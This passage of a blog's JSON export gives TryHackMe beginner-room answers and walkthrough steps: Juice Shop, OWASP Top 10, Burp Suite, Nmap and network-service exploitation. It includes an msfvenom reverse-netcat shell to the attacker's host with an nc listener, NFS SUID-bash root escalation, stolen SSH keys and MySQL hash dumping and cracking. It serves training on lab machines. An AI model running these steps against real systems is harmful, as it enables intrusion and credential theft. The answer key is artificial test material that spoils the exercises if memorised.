password!\n094fbc9b48e525150ba97d05b942bbf114987257\nAH! Don\u0026rsquo;t look! Question 1: Access the Confidential Document!\nedf9281222395a1c5fee9b89e32175f1ccf50c5b\nQuestion 2: Log into MC SafeSearch\u0026rsquo;s account!\n66bdcffad9e698fd534003fbb3cc7e2b7b55d7f0\nQuestion 3: Download the Backup file!\nbfc1e6b4a16579e85e06fee4c36ff8c02fb13795\nWho\u0026rsquo;s flying this thing? Question 1: Access the administration page!\n946a799363226a24822008503f5d1324536629a0\nQuestion 2: View another user\u0026rsquo;s shopping basket!\n41b997a36cc33fbe4f0ba018474e19ae5ce52121\nQuestion 3: Remove all 5-star reviews!\n50c97bcce0b895e446d61c83a21df371ac2266ef\nWhere did that come from? Question 1: Perform a DOM XSS!\n9aaf4bbea5c30d00a1f5bbcfce4db6d4b0efe0bf\nQuestion 2: Perform a persistent XSS!\n149aa8ce13d7a4a8a931472308e269c94dc5f156\nQuestion 3: Perform a reflected XSS!\n23cefee1527bde039295b2616eeb29e1edc660a0\nExploration! Question 1: Access the /#/score-board/ page.\n7efd3174f9dd5baa03a7882027f2824d2f72d86e\n","permalink":"https://onebee.blog/blog/thm/complete-beginner/web-hacking-fundamentals/owasp-juice-shop/","summary":"THM | Complete Beginner | Web Hacking Fundamentals | OWASP Juice Shop","title":"OWASP Juice Shop"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Complete Beginner\nModule: Web Hacking Fundamentals\nRoom: OWASP Top 10 - 2021\nDescription: Learn about and exploit each of the OWASP Top 10 vulnerabilities - the 10 most critical web security risks.\nIntroduction Question 1: Read the above.\nNo answer needed\nAccessing Machines Question 1: Connect to our network or deploy the AttackBox.\nNo answer needed\n1. Broken Access Control Question 1: Read and understand what broken access control is.\nNo answer needed\nBroken Access Control (IDOR Challenge) Question 1: Read and understand how IDOR works.\nNo answer needed\nQuestion 2: Deploy the machine and go to http://\u0026lt;machine-ip\u0026gt; - Login with the username noot and the password test1234.\nNo answer needed\nQuestion 3: Look at other users\u0026rsquo; notes. What is the flag?\n\u0026lt;redacted-flag\u0026gt;\n2. Cryptographic Failures Question 1: Read the introduction to Cryptographic Failures and deploy the machine.\nNo answer needed\nCryptographic Failures (Supporting Material 1) Question 1: Read and understand the supporting material on SQLite Databases.\nNo answer needed\nCryptographic Failures (Supporting Material 2) Question 1: Read the supporting material about cracking hashes.\nNo answer needed\nCryptographic Failures (Challenge) Question 1: Have a look around the web app. The developer has left themselves a note indicating that there is sensitive data in a specific directory. What is the name of the mentioned directory?\n/assets\nQuestion 2: Navigate to the directory you found in question one. What file stands out as being likely to contain sensitive data?\nwebapp.db\nQuestion 3: Use the supporting material to access the sensitive data. What is the password hash of the admin user?\n6eea9b7ef19179a06954edd0f6c05ceb\nQuestion 4: Crack the hash. What is the admin\u0026rsquo;s plaintext password?\nqwertyuiop\nQuestion 5: Log in as the admin. What is the flag?\n\u0026lt;redacted-flag\u0026gt;\n3. Injection Question 1: I\u0026rsquo;ve understood Injection attacks.\nNo answer needed\n3.1. Command Injection Question 1: What strange text file is in the website\u0026rsquo;s root directory?\ndrpepper.txt\nQuestion 2: How many non-root/non-service/non-daemon users are there?\n0\nQuestion 3: What user is this app running as?\napache\nQuestion 4: What is the user\u0026rsquo;s shell set as?\n/sbin/nologin\nQuestion 5: What version of Alpine Linux is running?\n3.16.0\n4. Insecure Design Question 1: Try to reset joseph\u0026rsquo;s password. Keep in mind the method used by the site to validate if you are indeed joseph.\nNo answer needed\nQuestion 2: What is the value of the flag in joseph\u0026rsquo;s account?\n\u0026lt;redacted-flag\u0026gt;\n5. Security Misconfiguration Question 1: Navigate to http://\u0026lt;machine-ip\u0026gt;:86/console to access the Werkzeug console.\nNo answer needed\nQuestion 2: Use the Werkzeug console to run the following Python code to execute the \u0026rsquo;ls -l\u0026rsquo; command on the server: \u0026ldquo;import os; print(os.popen(\u0026rsquo;ls -l\u0026rsquo;).read())\u0026rdquo;.\nWhat is the database file name (the one with the .db extension) in the current directory?\ntodo.db\nQuestion 3: Modify the code to read the contents of the app.py file, which contains the application\u0026rsquo;s source code. What is the value of the secret_flag variable in the source code?\n\u0026lt;redacted-flag\u0026gt;\n6. Vulnerable and Outdated Components Question 1: Read about the vulnerability.\nNo answer needed\nVulnerable and Outdated Components - Exploit Question 1: Read the above!\nNo answer needed\nVulnerable and Outdated Components - Lab Question 1: What is the content of the /opt/flag.txt file?\n\u0026lt;redacted-flag\u0026gt;\n7. Identification and Authentication Failures Question 1: I\u0026rsquo;ve understood broken authentication mechanisms.\nNo answer needed\nIdentification and Authentication Failures Practical Question 1: What is the flag that you found in darren\u0026rsquo;s account?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 2: Now try to do the same trick and see if you can log in as arthur.\nNo answer needed\nQuestion 3: What is the flag that you found in arthur\u0026rsquo;s account?\n\u0026lt;redacted-flag\u0026gt;\n8. Software and Data Integrity Failures Question 1: Read the above and continue!\nNo answer needed\nSoftware Integrity Failures Question 1: What is the SHA-256 hash of https://code.jquery.com/jquery-1.12.4.min.js?\nsha256-ZosEbRLbNQzLpnKIkEdrPv7lOy9C27hHQ+Xp8a4MxAQ=\nData Integrity Failures Question 1: Try logging into the application as guest. What is guest\u0026rsquo;s account password?\nguest\nQuestion 2: What is the name of the website\u0026rsquo;s cookie containing a JWT token?\njwt-session\nQuestion 3: Use the knowledge gained in this task to modify the JWT token so that the application thinks you are the user admin.\nNo answer needed\nQuestion 4: What is the flag presented to the admin user?\n\u0026lt;redacted-flag\u0026gt;\n9. Security Logging and Monitoring Failures Question 1: What IP address is the attacker using?\n49.99.13.16\nQuestion 2: What kind of attack is being carried out?\nBrute Force\n10. Server-Side Request Forgery (SSRF) Question 1: Explore the website. What is the only host allowed to access the admin area?\nlocalhost\nQuestion 2: Check the Download Resume button. Where does the server parameter point to?\nsecure-file-storage.com\nQuestion 3: Using SSRF, make the application send the request to your AttackBox instead of the secure file storage. Are there any API keys in the intercepted request?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 4: Going the Extra Mile: There\u0026rsquo;s a way to use SSRF to gain access to the site\u0026rsquo;s admin area. Can you find it?\nNote: You won\u0026rsquo;t need this flag to progress in the room. You are expected to do some research in order to achieve your goal.\nNo answer needed\nWhat Next? Question 1: Read the above!\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/complete-beginner/web-hacking-fundamentals/owasp-top-10-2021/","summary":"THM | Complete Beginner | Web Hacking Fundamentals | OWASP Top 10 - 2021","title":"OWASP Top 10 - 2021"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Complete Beginner\nModule: Web Hacking Fundamentals\nRoom: Burp Suite: The Basics\nDescription: An introduction to using Burp Suite for web application pentesting.\nIntroduction Question 1: Let us start!\nNo answer needed\nWhat is Burp Suite Question 1: Which edition of Burp Suite runs on a server and provides constant scanning for target web apps?\nBurp Suite Enterprise\nQuestion 2: Burp Suite is frequently used when attacking web applications and ______ applications.\nMobile\nFeatures of Burp Community Question 1: Which Burp Suite feature allows us to intercept requests between ourselves and the target?\nProxy\nQuestion 2: Which Burp tool would we use to brute-force a login form?\nIntruder\nInstallation Question 1: If you have chosen not to use the AttackBox, ensure that you have a copy of Burp Suite installed before proceeding.\nNo answer needed\nThe Dashboard Question 1: What menu provides information about the actions performed by Burp Suite, such as starting the proxy, and details about connections made through Burp?\nEvent log\nNavigation Question 1: Which tab Ctrl+Shift+P will switch us to?\nProxy tab\nOptions Question 1: In which category can you find a reference to a Cookie jar?\nSessions\nQuestion 2: In which base category can you find the Updates sub-category, which controls the Burp Suite update behaviour?\nSuite\nQuestion 3: What is the name of the sub-category which allows you to change the keybindings for shortcuts in Burp Suite?\nHotkeys\nQuestion 4: If we have uploaded Client-Side TLS certificates, can we override these on a per-project basis (yea/nay)?\nyea\nIntroduction to the Burp Proxy Question 1: Click me to proceed to the next task.\nNo answer needed\nConnecting through the Proxy (FoxyProxy) Question 1: Click me to proceed to the next task.\nNo answer needed\nSite Map and Issue Definitions Question 1: What is the flag you receive after visiting the unusual endpoint?\n\u0026lt;redacted-flag\u0026gt;\nThe Burp Suite Browser Question 1: Click me to proceed to the next task.\nNo answer needed\nScoping and Targeting Question 1: Add http://\u0026lt;machine-ip\u0026gt;/ to your scope and change the proxy settings to only intercept traffic to in-scope targets.\nSee the difference between the amount of traffic getting caught by the proxy before and after limiting the scope.\nNo answer needed\nProxying HTTPS Question 1: If you are not using the AttackBox, configure Firefox (or your browser of choice) to accept the PortSwigger CA certificate for TLS communication through the Burp Proxy.\nNo answer needed\nExample Attack Question 1: Click me to proceed to the next task.\nNo answer needed\nConclusion Question 1: I understand the fundamentals of using Burp Suite!\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/complete-beginner/web-hacking-fundamentals/burp-suite-the-basics/","summary":"THM | Complete Beginner | Web Hacking Fundamentals | Burp Suite: The Basics","title":"Burp Suite: The Basics"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Complete Beginner\nModule: Network Exploitation Basics\nRoom: Network Services 2\nDescription: Enumerating and Exploiting More Common Network Services \u0026amp; Misconfigurations.\nGet Connected Question 1: Ready? Let\u0026rsquo;s get going!\nNo answer needed\nNFS Understanding NFS Question 1: What does NFS stand for?\nNetwork File System\nQuestion 2: What process allows an NFS client to interact with a remote directory as though it was a physical device?\nMounting\nQuestion 3: What does NFS use to represent files and directories on the server?\nfile handle\nQuestion 4: What protocol does NFS use to communicate between the server and client?\nRPC\nQuestion 5: What two pieces of user data does the NFS server take as parameters for controlling user permissions? Format: parameter 1 / parameter 2.\nuser id / group id\nQuestion 6: Can a Windows NFS server share files with a Linux client? (Y/N)\nY\nQuestion 7: Can a Linux NFS server share files with a MacOS client? (Y/N)\nY\nQuestion 8: What is the latest version of NFS? [released in 2016, but is still up to date as of 2020] This will require external research.\n4.2\nEnumerating NFS Question 1: Conduct a thorough port scan scan of your choosing, how many ports are open?\n7\nQuestion 2: Which port contains the service we\u0026rsquo;re looking to enumerate?\n2049\nQuestion 3: Now, use \u0026lsquo;/usr/sbin/showmount -e \u0026lt;machine-ip\u0026gt;\u0026rsquo; to list the NFS shares, what is the name of the visible share?\n/home\nQuestion 4: Time to mount the share to our local machine! First, use \u0026lsquo;mkdir /tmp/mount\u0026rsquo; to create a directory on your machine to mount the share to. This is in the /tmp directory so be aware that it will be removed on restart.\nThen, use the \u0026lsquo;mount\u0026rsquo; command we broke down earlier to mount the NFS share to your local machine. Change directory to where you mounted the share - what is the name of the folder inside?\ncappucino\nQuestion 5: Have a look inside this directory, look at the files. Looks like we\u0026rsquo;re inside a user\u0026rsquo;s home directory\u0026hellip;\nNo answer needed\nQuestion 6: Interesting! Let\u0026rsquo;s do a bit of research now, have a look through the folders. Which of these folders could contain keys that would give us remote access to the server?\n.ssh\nQuestion 7: Which of these keys is most useful to us?\nid_rsa\nQuestion 8: Copy this file to a different location your local machine, and change the permissions to 600 using \u0026lsquo;chmod 600 \u0026lt;file\u0026gt;\u0026rsquo;.\nAssuming we were right about what type of directory this is, we can pretty easily work out the name of the user this key corresponds to. Can we log into the machine using \u0026lsquo;ssh -i \u0026lt;key-file\u0026gt; \u0026lt;username\u0026gt;@\u0026lt;ip\u0026gt;\u0026rsquo; ? (Y/N)\nY\nExploiting NFS Question 1: First, change directory to the mount point on your machine, where the NFS share should still be mounted, and then into the user\u0026rsquo;s home directory.\nNo answer needed\nQuestion 2: Download the bash executable to your Downloads directory. Then use \u0026lsquo;cp ~/Downloads/bash .\u0026rsquo; to copy the bash executable to the NFS share. The copied bash shell must be owned by a root user, you can set this using \u0026lsquo;sudo chown root bash\u0026rsquo;.\nNo answer needed\nQuestion 3: Now, we\u0026rsquo;re going to add the SUID bit permission to the bash executable we just copied to the share using \u0026lsquo;sudo chmod +\u0026lt;permission\u0026gt; bash\u0026rsquo;. What letter do we use to set the SUID bit set using \u0026lsquo;chmod\u0026rsquo;?\ns\nQuestion 4: Let\u0026rsquo;s do a sanity check, let\u0026rsquo;s check the permissions of the bash executable using \u0026rsquo;ls -la bash\u0026rsquo;. What does the permission set look like? Make sure that it ends with \u0026lsquo;-sr-x\u0026rsquo;.\n-rwsr-sr-x\nQuestion 5: Now, SSH into the machine as the user. List the directory to make sure the bash executable is there. Now, the moment of truth. Lets run it with \u0026lsquo;./bash -p\u0026rsquo;. The -p persists the permissions, so that it can run as root with SUID - as otherwise bash will sometimes drop the permissions.\nNo answer needed\nQuestion 6: Great! If all\u0026rsquo;s gone well you should have a shell as root! What\u0026rsquo;s the root flag?\n\u0026lt;redacted-flag\u0026gt;\nSMTP Understanding SMTP Question 1: What does SMTP stand for?\nSimple Mail Transfer Protocol\nQuestion 2: What does SMTP handle the sending of? (answer in plural)\nemails\nQuestion 3: What is the first step in the SMTP process?\nSMTP handshake\nQuestion 4: What is the default SMTP port?\n25\nQuestion 5: Where does the SMTP server send the email if the recipient\u0026rsquo;s server is not available?\nsmtp queue\nQuestion 6: On what server does the Email ultimately end up on?\nPOP/IMAP\nQuestion 7: Can a Linux machine run an SMTP server? (Y/N)\nY\nQuestion 8: Can a Windows machine run an SMTP server? (Y/N)\nY\nEnumerating SMTP Question 1: First, lets run a port scan against the target machine, same as last time. What port is SMTP running on?\n25\nQuestion 2: Okay, now we know what port we should be targeting, let\u0026rsquo;s start up Metasploit. What command do we use to do this? If you would like some more help or practice using Metasploit, TryHackMe has a module on Metasploit that you can check out here\nmsfconsole\nQuestion 3: Let\u0026rsquo;s search for the module smtp_version, what\u0026rsquo;s it\u0026rsquo;s full module name?\nauxiliary/scanner/smtp/smtp_version\nQuestion 4: Great, now select the module and list the options. How do we do this?\noptions\nQuestion 5: Have a look through the options, does everything seem correct? What is the option we need to set?\nRHOSTS\nQuestion 6: Set that to the correct value for your target machine. Then run the exploit. What\u0026rsquo;s the system mail name?\npolosmtp.home\nQuestion 7: What Mail Transfer Agent (MTA) is running the SMTP server? This will require some external research.\nPostfix\nQuestion 8: Good! We\u0026rsquo;ve now got a good amount of information on the target system to move onto the next stage. Let\u0026rsquo;s search for the module smtp_enum, what\u0026rsquo;s it\u0026rsquo;s full module name?\nauxiliary/scanner/smtp/smtp_enum\nQuestion 9: We\u0026rsquo;re going to be using the top-usernames-shortlist.txt wordlist from the Usernames subsection of seclists (/usr/share/wordlists/SecLists/Usernames if you have it installed). Seclists is an amazing collection of wordlists.\nIf you\u0026rsquo;re running Kali or Parrot you can install seclists with: \u0026lsquo;sudo apt install seclists\u0026rsquo;. Alternatively, you can download the repository from here. What option do we need to set to the wordlist\u0026rsquo;s path?\nUSER_FILE\nQuestion 10: Once we\u0026rsquo;ve set this option, what is the other essential paramater we need to set?\nRHOSTS\nQuestion 11: Now, run the exploit, this may take a few minutes, so grab a cup of tea, coffee, water. Keep yourself hydrated!\nNo answer needed\nQuestion 12: Okay! Now that\u0026rsquo;s finished, what username is returned?\nadministrator\nExploiting SMTP Question 1: What is the password of the user we found during our enumeration stage?\nalejandro\nQuestion 2: Great! Now, let\u0026rsquo;s SSH into the server as the user, what is contents of smtp.txt.\n\u0026lt;redacted-flag\u0026gt;\nMySQL Understanding MySQL Question 1: What type of software is MySQL?\nrelational database management system\nQuestion 2: What language is MySQL based on?\nSQL\nQuestion 3: What communication model does MySQL use?\nclient-server\nQuestion 4: What is a common application of MySQL?\nback end database\nQuestion 5: What major social network uses MySQL as their back-end database? This will require further research.\nFacebook\nEnumerating MySQL Question 1: As always, let\u0026rsquo;s start out with a port scan, so we know what port the service we\u0026rsquo;re trying to attack is running on. What port is MySQL using?\n3306\nQuestion 2: Good, now we think we have a set of credentials. Let\u0026rsquo;s double check that by manually connecting to the MySQL server.\nWe can do this using the command: \u0026lsquo;mysql -h \u0026lt;ip\u0026gt; -u \u0026lt;username\u0026gt; -p\u0026rsquo;.\nNo answer needed\nQuestion 3: Okay, we know that our login credentials work. Lets quit out of this session with \u0026rsquo;exit\u0026rsquo; and launch up Metasploit.\nNo answer needed\nQuestion 4: We\u0026rsquo;re going to be using the mysql_sql module. Search for, select and list the options it needs. What three options do we need to set? (in descending order).\nPASSWORD/RHOSTS/USERNAME\nQuestion 5: Run the exploit. By default it will test with the \u0026lsquo;select version()\u0026rsquo; command, what result does this give you?\n5.7.29-0ubuntu0.18.04.1\nQuestion 6: Great! We know that our exploit is landing as planned. Let\u0026rsquo;s try to gain some more ambitious information. Change the sql option to show databases. How many databases are returned?\n4\nExploiting MySQL Question 1: First, let\u0026rsquo;s search for and select the mysql_schemadump module. What\u0026rsquo;s the module\u0026rsquo;s full name?\nauxiliary/scanner/mysql/mysql_schemadump\nQuestion 2: Great! Now, you\u0026rsquo;ve done this a few times by now so I\u0026rsquo;ll let you take it from here. Set the relevant options, run the exploit. What\u0026rsquo;s the name of the last table that gets dumped?\nx$waits_global_by_latency\nQuestion 3: Awesome, you have now dumped the tables, and column names of the whole database. But we can do one better\u0026hellip; search for and select the mysql_hashdump module. What\u0026rsquo;s the module\u0026rsquo;s full name?\nauxiliary/scanner/mysql/mysql_hashdump\nQuestion 4: Again, I\u0026rsquo;ll let you take it from here. Set the relevant options, run the exploit. What non-default user stands out to you?\ncarl\nQuestion 5: Another user! And we have their password hash. This could be very interesting.\nCopy the hash string in full, like: \u0026lsquo;bob:*HASH\u0026rsquo; to a text file on your local machine called hash.txt. What is the user/hash combination string?\ncarl:*EA031893AA21444B170FC2162A56978B8CEECE18\nQuestion 6: Now, we need to crack the password! Let\u0026rsquo;s try John the Ripper against it using: john hash.txt. What is the password of the user we found?\ndoggie\nQuestion 7: Awesome. Password reuse is not only extremely dangerous, but extremely common.\nWhat are the chances that this user has reused their password for a different service? What\u0026rsquo;s the contents of MySQL.txt?\n\u0026lt;redacted-flag\u0026gt;\nFurther Learning Question 1: Congratulations! You did it!\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/complete-beginner/network-exploitation-basics/network-services-2/","summary":"THM | Complete Beginner | Network Exploitation Basics | Network Services 2","title":"Network Services 2"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Complete Beginner\nModule: Network Exploitation Basics\nRoom: Network Services\nDescription: Learn about, then enumerate and exploit a variety of network services and misconfigurations.\nGet Connected Question 1: Ready? Let\u0026rsquo;s get going!\nNo answer needed\nSMB Understanding SMB Question 1: What does SMB stand for?\nServer Message Block\nQuestion 2: What type of protocol is SMB?\nresponse-request\nQuestion 3: What do clients connect to servers using?\nTCP/IP\nQuestion 4: What systems does Samba run on?\nUnix\nEnumerating SMB Question 1: Conduct an nmap scan of your choosing, How many ports are open?\n3\nQuestion 2: What ports is SMB running on?\n139/445\nQuestion 3: Let\u0026rsquo;s get started with Enum4Linux, conduct a full basic enumeration. For starters, what is the workgroup name?\nWORKGROUP\nQuestion 4: What comes up as the name of the machine?\nPOLOSMB\nQuestion 5: What operating system version is running?\n6.1\nQuestion 6: What share sticks out as something we might want to investigate?\nprofiles\nExploiting SMB Question 1: What would be the correct syntax to access an SMB share called secret as user suit on a machine with the IP 10.10.10.2 on the default port?\nsmbclient //10.10.10.2/secret -U suit -p 445\nQuestion 2: Great! Now you\u0026rsquo;ve got a hang of the syntax, let\u0026rsquo;s have a go at trying to exploit this vulnerability. You have a list of users, the name of the share (smb) and a suspected vulnerability.\nNo answer needed\nQuestion 3: Lets see if our interesting share has been configured to allow anonymous access, I.E it doesn\u0026rsquo;t require authentication to view the files. We can do this easily by:\n- using the username Anonymous\n- connecting to the share we found during the enumeration stage\n- and not supplying a password.\n- Does the share allow anonymous access? Y/N?\nY\nQuestion 4: Great! Have a look around for any interesting documents that could contain valuable information. Who can we assume this profile folder belongs to?\nJohn Cactus\nQuestion 5: What service has been configured to allow him to work from home?\nSSH\nQuestion 6: Okay! Now we know this, what directory on the share should we look in?\n.ssh\nQuestion 7: This directory contains authentication keys that allow a user to authenticate themselves on, and then access, a server. Which of these keys is most useful to us?\nid_rsa\nQuestion 8: Download this file to your local machine, and change the permissions to 600 using \u0026lsquo;chmod 600 \u0026lt;file\u0026gt;\u0026rsquo;.\nNow, use the information you have already gathered to work out the username of the account. Then, use the service and key to log-in to the server. What is the smb.txt flag?\n\u0026lt;redacted-flag\u0026gt;\nTelnet Understanding Telnet Question 1: What is Telnet?\napplication protocol\nQuestion 2: What has slowly replaced Telnet?\nSSH\nQuestion 3: How would you connect to a Telnet server with the IP 10.10.10.3 on port 23?\ntelnet 10.10.10.3 23\nQuestion 4: The lack of what, means that all Telnet communication is in plaintext?\nencryption\nEnumerating Telnet Question 1: How many ports are open on the target machine?\n1\nQuestion 2: What port is this?\n8012\nQuestion 3: This port is unassigned, but still lists the protocol it\u0026rsquo;s using, what protocol is this?\ntcp\nQuestion 4: Now re-run the nmap scan, without the -p- tag, how many ports show up as open?\n0\nQuestion 5: Here, we see that by assigning telnet to a non-standard port, it is not part of the common ports list, or top 1000 ports, that nmap scans. It\u0026rsquo;s important to try every angle when enumerating, as the information you gather here will inform your exploitation stage.\nNo answer needed\nQuestion 6: Based on the title returned to us, what do we think this port could be used for ?\na backdoor\nQuestion 7: Who could it belong to? Gathering possible usernames is an important step in enumeration.\nSkidy\nQuestion 8: Always keep a note of information you find during your enumeration stage, so you can refer back to it when you move on to try exploits.\nNo answer needed\nExploiting Telnet Question 1: Okay, let\u0026rsquo;s try and connect to this telnet port! If you get stuck, have a look at the syntax for connecting outlined above.\nNo answer needed\nQuestion 2: Great! It\u0026rsquo;s an open telnet connection! What welcome message do we receive?\nSKIDY\u0026rsquo;S BACKDOOR.\nQuestion 3: Let\u0026rsquo;s try executing some commands, do we get a return on any input we enter into the telnet session? (Y/N)\nN\nQuestion 4: Hmm\u0026hellip; that\u0026rsquo;s strange. Let\u0026rsquo;s check to see if what we\u0026rsquo;re typing is being executed as a system command.\nNo answer needed\nQuestion 5: Start a tcpdump listener on your local machine.\n- If using your own machine with the OpenVPN connection, use: \u0026lsquo;sudo tcpdump ip proto \\\\icmp -i tun0\u0026rsquo;.\n- If using the AttackBox, use: \u0026lsquo;sudo tcpdump ip proto \\\\icmp -i ens5\u0026rsquo;.\n- This starts a tcpdump listener, specifically listening for ICMP traffic, which pings operate on.\nNo answer needed\nQuestion 6: Now, use the command \u0026lsquo;ping \u0026lt;local-machine-ip\u0026gt; -c 1\u0026rsquo; through the telnet session to see if we\u0026rsquo;re able to execute system commands. Do we receive any pings? Note, you need to preface this with .RUN (Y/N)\nY\nQuestion 7: Great! This means that we are able to execute system commands AND that we are able to reach our local machine. Now let\u0026rsquo;s have some fun!\nNo answer needed\nQuestion 8: We\u0026rsquo;re going to generate a reverse shell payload using msfvenom.This will generate and encode a netcat reverse shell for us. Here\u0026rsquo;s our syntax: \u0026lsquo;msfvenom -p cmd/unix/reverse_netcat lhost=\u0026lt;local-machine-ip\u0026gt; lport=4444 R\u0026rsquo; with:\n- \u0026lsquo;-p\u0026rsquo;: payload\n- \u0026rsquo;lhost\u0026rsquo;: our local host IP address (this is your machine\u0026rsquo;s IP address)\n- \u0026rsquo;lport\u0026rsquo;: the port to listen on (this is the port on your machine)\n- \u0026lsquo;R\u0026rsquo;: export the payload in raw format.\nWhat word does the generated payload start with?\nmkfifo\nQuestion 9: Perfect. We\u0026rsquo;re nearly there. Now all we need to do is start a netcat listener on our local machine. We do this using: \u0026rsquo;nc -lvnp \u0026lt;listening-port\u0026gt;\u0026rsquo;.\nWhat would the command look like for the listening port we selected in our payload?\nnc -lvnp 4444\nQuestion 10: Great! Now that\u0026rsquo;s running, we need to copy and paste our msfvenom payload into the telnet session and run it as a command. Hopefully this will give us a shell on the target machine!\nNo answer needed\nQuestion 11: Success! What is the contents of flag.txt?\n\u0026lt;redacted-flag\u0026gt;\nFTP Understanding FTP Question 1: What communications model does FTP use?\nclient-server\nQuestion 2: What\u0026rsquo;s the standard FTP port?\n21\nQuestion 3: How many modes of FTP connection are there?\n2\nEnumerating FTP Question 1: Run an nmap scan of your choice. How many ports are open on the target machine?\n2\nQuestion 2: What port is ftp running on?\n21\nQuestion 3: What variant of FTP is running on it?\nvsftpd\nQuestion 4: Great, now we know what type of FTP server we\u0026rsquo;re dealing with we can check to see if we are able to login anonymously to the FTP server.\nWe can do this using by typing \u0026lsquo;ftp \u0026lt;machine-ip\u0026gt;\u0026rsquo; into the console, and entering \u0026lsquo;anonymous\u0026rsquo;, and no password when prompted. What is the name of the file in the anonymous FTP directory?\nPUBLIC_NOTICE.txt\nQuestion 5: What do we think a possible username could be?\nmike\nQuestion 6: Great! Now we\u0026rsquo;ve got details about the FTP server and, crucially, a possible username. Let\u0026rsquo;s see what we can do with that\u0026hellip;\nNo answer needed\nExploiting FTP Question 1: What is the password for the user mike?\npassword\nQuestion 2: Bingo! Now, let\u0026rsquo;s connect to the FTP server as this user using \u0026lsquo;ftp \u0026lt;machine-ip\u0026gt;\u0026rsquo; and entering the credentials when prompted.\nNo answer needed\nQuestion 3: What is ftp.txt?\n\u0026lt;redacted-flag\u0026gt;\nExpanding Your Knowledge Question 1: Well done, you did it!\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/complete-beginner/network-exploitation-basics/network-services/","summary":"THM | Complete Beginner | Network Exploitation Basics | Network Services","title":"Network Services"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Complete Beginner\nModule: Network Exploitation Basics\nRoom: Nmap\nDescription: An in depth look at scanning with Nmap, a powerful network scanning tool.\nDeploy Question 1: Deploy the attached VM.\nNo answer needed\nIntroduction Question 1: What networking constructs are used to direct traffic to the right application on a server?\nPorts\nQuestion 2: How many of these are available on any network-enabled computer?\n65535\nQuestion 3: How many of these are considered well-known? (These are the standard numbers mentioned in the task)\n1024\nNmap Switches Question 1: What is the first switch listed in the help menu for a Syn Scan (more on this later!)?\n-sS\nQuestion 2: Which switch would you use for a UDP scan?\n-sU\nQuestion 3: If you wanted to detect which operating system the target is running on, which switch would you use?\n-O\nQuestion 4: Nmap provides a switch to detect the version of the services running on the target. What is this switch?\n-sV\nQuestion 5: The default output provided by nmap often does not provide enough information for a pentester. How would you increase the verbosity?\n-v\nQuestion 6: Verbosity level one is good, but verbosity level two is better! How would you set the verbosity level to two?\nNote: It\u0026rsquo;s highly advisable to always use at least this option.\n-vv\nQuestion 7: We should always save the output of our scans \u0026ndash; this means that we only need to run the scan once (reducing network traffic and thus chance of detection), and gives us a reference to use when writing reports for clients. What switch would you use to save the nmap results in three major formats?\n-oA\nQuestion 8: What switch would you use to save the nmap results in a normal format?\n-oN\nQuestion 9: A very useful output format: how would you save results in a grepable format?\n-oG\nQuestion 10: Sometimes the results we\u0026rsquo;re getting just aren\u0026rsquo;t enough. If we don\u0026rsquo;t care about how loud we are, we can enable aggressive mode.\nThis is a shorthand switch that activates service detection, operating system detection, a traceroute and common script scanning. How would you activate this setting?\n-A\nQuestion 11: Nmap offers five levels of timing template. These are essentially used to increase the speed your scan runs at. Be careful though: higher speeds are noisier, and can incur errors! How would you set the timing template to level 5?\n-T5\nQuestion 12: We can also choose which port(s) to scan. How would you tell nmap to only scan port 80?\n-p 80\nQuestion 13: How would you tell nmap to scan ports 1000-1500?\n-p 1000-1500\nQuestion 14: A very useful option that should not be ignored: How would you tell nmap to scan all ports?\n-p-\nQuestion 15: How would you activate a script from the nmap scripting library (lots more on this later!)?\n--script\nQuestion 16: How would you activate all of the scripts in the vuln category?\n--script=vuln\nScan Types Overview Question 1: Read the Scan Types Introduction.\nNo answer needed\nTCP Connect Scans Question 1: Which RFC defines the appropriate behaviour for the TCP protocol?\nRFC 9293\nQuestion 2: If a port is closed, which flag should the server send back to indicate this?\nRST\nSYN Scans Question 1: There are two other names for a SYN scan, what are they?\nHalf-Open, Stealth\nQuestion 2: Can Nmap use a SYN scan without Sudo permissions (Y/N)?\nN\nUDP Scans Question 1: If a UDP port doesn\u0026rsquo;t respond to an Nmap scan, what will it be marked as?\nopen|filtered\nQuestion 2: When a UDP port is closed, by convention the target should send back a port unreachable message. Which protocol would it use to do so?\nICMP\nNULL, FIN and Xmas Question 1: Which of the three shown scan types uses the URG flag?\nxmas\nQuestion 2: Why are NULL, FIN and Xmas scans generally used?\nFirewall Evasion\nQuestion 3: Which common OS may respond to a NULL, FIN or Xmas scan with a RST for every port?\nMicrosoft Windows\nICMP Network Scanning Question 1: How would you perform a ping sweep on the 172.16.x.x network (Netmask: 255.255.0.0) using Nmap? (CIDR notation)\nnmap -sn 172.16.0.0/16\nNSE Scripting Overview Question 1: What language are NSE scripts written in?\nLua\nQuestion 2: Which category of scripts would be a very bad idea to run in a production environment?\nintrusive\nWorking with the NSE Question 1: What optional argument can the ftp-anon.nse script take?\nmaxlist\nSearching for Scripts Question 1: Search for smb scripts in the /usr/share/nmap/scripts/ directory using either of the demonstrated methods. What is the filename of the script which determines the underlying OS of the SMB server?\nsmb-os-discovery.nse\nQuestion 2: Read through this script. What does it depend on?\nsmb-brute\nFirewall Evasion Question 1: Which simple (and frequently relied upon) protocol is often blocked, requiring the use of the -Pn switch?\nICMP\nQuestion 2: Which Nmap switch allows you to append an arbitrary length of random data to the end of packets?\n--data-length\nPractical Question 1: Does the target ip respond to ICMP echo (ping) requests (Y/N)?\nN\nQuestion 2: Perform an Xmas scan on the first 999 ports of the target \u0026ndash; how many ports are shown to be open or filtered?\n999\nQuestion 3: There is a reason given for this \u0026ndash; what is it?\nNote: The answer will be in your scan results. Think carefully about which switches to use \u0026ndash; and read the hint before asking for help!\nNo Response\nQuestion 4: Perform a TCP SYN scan on the first 5000 ports of the target \u0026ndash; how many ports are shown to be open?\n5\nQuestion 5: Open Wireshark (see Cryillic\u0026rsquo;s Wireshark Room for instructions) and perform a TCP Connect scan against port 80 on the target, monitoring the results. Make sure you understand what\u0026rsquo;s going on.\nDeploy the 